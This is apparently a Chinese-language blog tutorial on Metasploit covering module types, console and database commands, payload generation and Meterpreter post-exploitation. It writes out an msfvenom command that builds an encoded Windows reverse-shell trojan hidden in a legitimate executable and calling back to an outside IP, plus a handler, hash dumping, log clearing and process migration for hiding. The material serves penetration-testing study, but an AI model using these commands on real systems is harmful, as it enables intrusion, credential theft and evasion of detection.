SearchSploit

searchsploit和exploit内容一致,用来快速获取漏洞信息(通用漏洞)。

教程https://www.offensive-security.com/metasploit-unleashed

msf主目录/usr/share/metasploit-framework/modules

下面介绍这几种模块

auxiliary 
encoders
evasion
exploits
nops
payloads
post

exploits 是利用漏洞的一个动作,通过这个动作成功利用漏洞进入系统,利用漏洞的代码称作利用代码。而最后在目标系统上执行的代码叫 Payload,这个 Payload 可以是一句反弹 Shell 的代码,也可以是用 echo 程序输出一句话,前者称作 shellcode(以能拿到 shell 得名),后者则是系统命令。

MSf 中 Payload 分类,Payload 目录/usr/share/metasploit-framework/modules/payloads

  • singles
    不需要依赖库,所有功能都已经写到代码里了。但需要内存比较大。
  • stagers
    在目标内存有限时,可以先传较小的Payload过去。
  • stages
    接着中 stagers 建立的网络连接去下载另外一个功能更强的 Payload,这 stagers 和 stages 有点像传完小马传大马。

auxiliary 是辅助模块,不提供利用和 Payload 功能,仅仅做信息收集和枚举扫描等功能。其中 DOS 检测会发送一些字符导致目标系统内存溢出或者软件流程终端,也就是服务停止,这个不是 Payload。

encoders 对 Payload 进行编码,以此来躲避 AV(Anti Virus)的查杀。

nops 提高 Payload 稳定性以及维持 payload 原本大小。

基操

查找某条命令的帮助

-------------具体命令的使用方法---------------
help command
command -h

----------打印所有命令的使用方法-------------
help

msfconsole -q 启动不显示 banner 字符画。

connect类似 nc 的功能

show module_name 在 msf 主界面显示模块。

search keyword | type | edb keyword 根据关键词搜索,type 设置搜索类型比如 exploit 或 auxiliary,edb

use module_path 切换到指定模块目录下

show optioins | target | missing | evasion | payloads options 目标要配置的一些选项,target 是模块适用于那些平台,missing 是这个模块必须要填的参数这样才能运行起来,evasion 是对 Payload 加密混淆用的,payload 是适用当前模块下的 Payload。

set options value 对选项的值进行设定。可以用 unset options 恢复初始值。

setg options value 设置全局变量,这样在所有模块中此 options 的值就会被设置(使用 unsetg options 可恢复初始值),退出msf不会保存设置的值,如果想保存,设置完后用 save 保存配置。

run -j 开始启动模块,用 exploit 也行,它俩一样,-j 选项是将运行结果放入后台,可以用sessions查看所有session。

session -i id [-l] -i 输入 session id 后就能进行 shell 界面,-l 是显示所有已经成功的 session,进去之后想暂时离开当前session会话可以用 background,离开不是断开所以会话依旧存在,也可以用 bg 它俩作用相同。文章

session -k [id | id-id] kill 掉这个 session Id,也可填一个范围值。

info 查看当前模块信息

edit 直接编辑当前模块,默认使用 vim 打开。

check 检测目标是否存在漏洞,但很多利用模块没有这个功能。

back 回到 msf 主界面

load 可以用来加载外部扫描器插件来扫描漏洞,当然也可以加载其他插件,加载后可以用 unload name 卸载。

msf_load.png

loadpath 可以加载自己编写的模块进行使用。

route add 192.168.0.0/24 1 让去向 192.168.0.0 网络的流量全部走 session id 号为 1 的这个 session,一般用来横向渗透内网其他主机时会用到。

irb 是一个开发接口(直接进入ruby解释器),可以开发一些自己的模块,使用的是 ruby 语言。

resource filename.rc 可以让 msf 执行 filename.rc 资源文件内的指令,而不用每次都手敲,当你不在 msf 终端界面时也可以用msfconsole -r filename.rc执行。你需要注意它的默认路径是在 msf 模块目录下面,路径是/usr/share/metasploit-framework/modules

jobs 用来查看那些模块正在工作

kill 杀死正在工作的作业

配合 searchsploit 能够直接找到 MSF 可利用的模块。

MSF数据库操作

数据库没启动有什么影响呢?在用 MSF 收集目标信息的时候收集结果会存在数据库中,没启动就很麻烦,其他模块就不能调用已经扫描的信息。msf 是用 postgresql 作为后端数据库的,端口为 5432,没启动可以用 systemctl start postgresql 启动数据库。

当数据库出现问题时可以用 msfdb reinit 重新初始化数据库,更多信息查看帮助文档。

db_status # 查看数据库是否连接
db_rebuild_cache # 将所有模块路径写到数据库里,在用 search 速度就很快。
db_nmap # 这个功能和 nmap 无异(参数也一致),只是使用 db_nmap 会把扫描结果放入数据库中,结果可以用 hosts 在 msf 中查看。
hosts [-u] [-c col1,col2] [-S] [ipadd] # 加了地址就只显示这个地址的信息,-u 只显示 up 状态的主机,-c 只显示列信息比如-c address,mac就只显示 ip 地址和 mac 信息,-S 是搜索结果中的关键词。
services [-p port_num]# 可以显示 db_nmap 扫描结果中 host 开放了那些端口,-p 1-1000 就只显示这个范围内开放的端口,和hosts使用方法类似,更多信息使用-h查看帮助文档。
creds # 查看爆破出的密码信息
vulns # 查看漏洞信息
loot # 查看 hash 值(加密后的密码)
db_export # 导入数据库,可以将 nmap 扫描结果的 xml 文件导入 msf 数据库中,导入后用 hosts 查看详细信息。
db_import -f xml path # 将 msf 数据库导出,-f指定格式

生成 Payload 反弹 Shell

# -f 指定输出类型,-b 重新编码坏字符,坏字符会导致 ShellCode 执行失败,-e 指定编码器如果不填这个选项 msf 会自动选择最佳编码器,-i 5 编码 5 次,-s 14 会在 payload 前面加上 14 字节的 NOP(Next Operaction),这个 NOP 是指无操作,EIP 寄存器遇到这个指令就会往下找下个字节一直到可以运行的字节,这样可能到达免杀效果(在练习中无法使用这个选项,不知道怎么回事),-k 在程序运行中不会产生新进程只会在进程中多出一个线程,也就是说运行 1.exe 不会产生一个 2.exe 出来,-x 使用/cmd.exe作为模板,-o 将 payload 和模板绑在一起输出成 mm.exe 文件。

generate -f exe -b '\x00\xff' -i 10 -k -x /root/mstsc.exe -o /root/mm.exe

使用 msfvenom 在 shell 下生成 Payload,只是为了展示所有用法。

msfvenom -p windows/meterpreter/reverse_tcp -a x86_64 --platform windows LHOST=45.32.1.1 LPORT=6000 -e x64/xor_dynamic -i 15 -b PrependMigrate=true PrependMigrateProc=svchost.exe -x ./mongo.exe -k -f exe -o ./1.exe

-p windows/meterpreter/reverse_tcp #是选择的 Payload
-a x86_64 #目标系统架构,比如是什么语言写的应用系统呀。
--platform windows #目标系统平台架构,确保兼容,比如:Windows 还是 Linux 或者是 Android。
LHOST=45.32.*.* LPORT=6000 #是要反弹 Shell 到哪台机器上 6000 端口
-e x64/xor_dynamic -i 15 #选择 shikata_ganai 编码器将 payload 编码 15 次。
-b #用于去除 %ff %00 这种坏字符,而且会自动选择编码器
PrependMigrate=true #当这个进程被杀了之后,我要迁移进程。
PrependMigrateProc=svchost.exe # 将进程迁移到 svchost.exe,迁移到 explorer.exe 也是个不错的选择
-x ./mongo.exe #使用 mongo.exe 来作为模板,它的功能还在只不过将 payload 也加进去了。
-k #在程序运行中不会产生新进程只会在进程中多出一个线程,也就是说运行 1.exe 不会产生一个 2.exe 出来
-f exe #是文件输出格式,比如: python 脚本或是 c 的源代码也可是 exe 可以执行程序等等...
-o #将Payload保存在哪里。

当别人执行后直接反弹

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 45.32.1.1
msf exploit(handler) > set lport 6000
msf exploit(handler) > exploit

Meterpreter

这种 Shell 是运行在内存中的,比如说把自身当做线程写入到某一个进程中,不写入硬盘。接着建立 socket 链接,通过链接上传并加载 DLL 到进程中,此时就开放了某些 API,通过 Socket 链接建立 TLS 通信隧道,以此向客户端发送一些命令,这些命令由这个API去执行。

set payload 时指定 Meterpreter 分类下的各种 payload。

shellcode 执行成功返回 meterpreterShell 后,也可以使用 help 来获得帮助信息。

meterpreter > help

常用命令

---------------对目标文件系统进行操作---------------
cd 切换目录,在命令前面加个 l 就是在本地操作。
cp 复制 x 到哪里去
ls(dir) 显示当前目录下的文件,dir 命令作用与它一致。在命令前面加个 l 就是在本地操作。
pwd(getwd) 显示目标系统当前工作目录,getwd 与 pwd 作用相同。在命令前面加个l就是在本地操作。
edit 在目标系统当前活动目录中编辑或创建文件, 和 vi 一样操作。
cat 读取一个文件内容并显示在屏幕上
mkdir 在目标文件系统上创建一个目录
mv 移动目标文件系统中的内容到指定位置
rm 删除指定文件
rmdir 删除目标文件系统中指定文件夹
show_mount 显示你挂载了哪些设备或分区
search 搜索目标文件系统中文件
download 把目标系统内容下载到本机
upload 上传一个内容到目标文件系统

---------------执行命令---------------
run(bgrun) 执行 meterpreter 脚本或 POST 模块命令,bgrun 是在 background 运行。
clearev 清空所有日志(Linux未测试,设想有日志实时同步如何破局)
excute 在目标系统上执行命令
hashdump 获取 SAM 数据库中的 hash,使用 run post/windows/gather/hashdump 也可获得 hash
getuid 获取当前运行账户
sysinfo 获取系统信息
ps 查看当前运行的进程
kill 杀死进程
getpid 查看 meterpreter 注入到正常进程的 id 号
migrate 将 meterpreter 迁移到另外一个正常进程中,比如 Windows 的 explorer。
reboot 重启
shutdown 关机
shell 获得当前用户的 shell
idletime 目标机器多久没有被操作了,方便在管理员不在的时候进行测试。
resource 从本地一个文件中执行里面儿的命令,比如放一大堆信息收集的命令一键执行。
screenshare 获取目标桌面活动状态

---------------权限提升---------------
getsystem 将当前用户提升到 SYSTEM

---------------网络相关的命令---------------
arp 显示ARP缓存
getproxy 显示浏览器代理配置
ifconfig(ipconfig) 显示网卡信息
netstat 显示网络连接信息
route 显示或更改对方系统上的路由表

无需 Python 解释器在对方系统执行 Python 代码

---------------加载Python扩展---------------
meterpreter > load python 

---------------会多出几个命令---------------
    python_execute  print(1)   #执行 Python 语句
    python_import  -f path/filename.py   #导入模块并执行
    python_reset   #重新加载 Python 解释器

调用相关脚本获取信息https://www.offensive-security.com/metasploit-unleashed/existing-scripts/

auxiliary 信息收集(未完成)

auxiliary 模块下要用那种模块,直接用 info 查看基本信息就知道是干嘛用的。

msfvenom

用来生成 Payload

armitage 是 metasploit 的一个组件,工作界面为 GUI,功能与 msf 一致。

migrate 隐藏远程链接 shell

将网上的 POC 复制到 /usr/share/metasploit-framework/modules/ 使用

制作木马,拿到 Shell。

参考文章

标签: none

讨论讨论讨论!